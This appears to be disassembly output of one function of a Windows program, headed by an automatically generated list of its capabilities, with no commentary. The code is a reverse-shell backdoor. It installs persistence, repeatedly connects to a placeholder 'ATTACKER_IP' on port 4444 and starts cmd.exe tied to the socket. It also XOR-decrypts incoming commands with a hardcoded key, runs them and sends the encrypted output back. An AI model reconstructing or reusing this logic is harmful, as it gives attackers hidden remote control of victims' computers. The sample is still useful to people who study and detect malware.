Function at 0x14000157b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x7c8
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, str.mysecretkey
mov qword [rbp + 0x738], rax
lea rax, [rbp + 0x3d0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x1400015dc
mov eax, 1
jmp 0x140001926
lea rax, [rbp + 0x3d0]
mov rcx, rax
call sym.add_persistence
lea rax, [rbp + 0x580]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001611
mov eax, 1
jmp 0x140001926
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0xffffffffffffffff
jne 0x14000164e
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001926
mov word [rbp + 0x570], 2
mov ecx, 0x115c
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x572], ax
lea rax, str.ATTACKER_IP
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x574], eax
jmp 0x140001695
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x570]
mov rax, qword [rbp + 0x730]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
je 0x140001687
lea rax, [rbp + 0x500]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x500], 0x68
mov dword [rbp + 0x53c], 0x100
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x550], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x560], rax
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x500]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400018a9
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001926
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sym.strlen
mov r8d, eax
mov rcx, qword [rbp + 0x738]
mov edx, dword [rbp + 0x72c]
lea rax, [rbp - 0x30]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.xor_encrypt
mov eax, dword [rbp + 0x72c]
cdqe
mov byte [rbp + rax - 0x30], 0
lea rax, [rbp - 0x30]
lea rdx, [0x140004054]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x1400018a9
jmp 0x140001872
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sym.strlen
mov ebx, eax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp + 0x738]
lea rax, [rbp - 0x30]
mov r9d, ebx
mov r8, rdx
mov edx, ecx
mov rcx, rax
call sym.xor_encrypt
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x730]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x720]
lea rax, [rbp - 0x30]
mov r8, rdx
mov edx, 0x3ff
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x14000180a
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x730]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0
jg 0x14000179e
mov rax, qword [rbp + 0x4e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x7c8
pop rbx
pop rbp
ret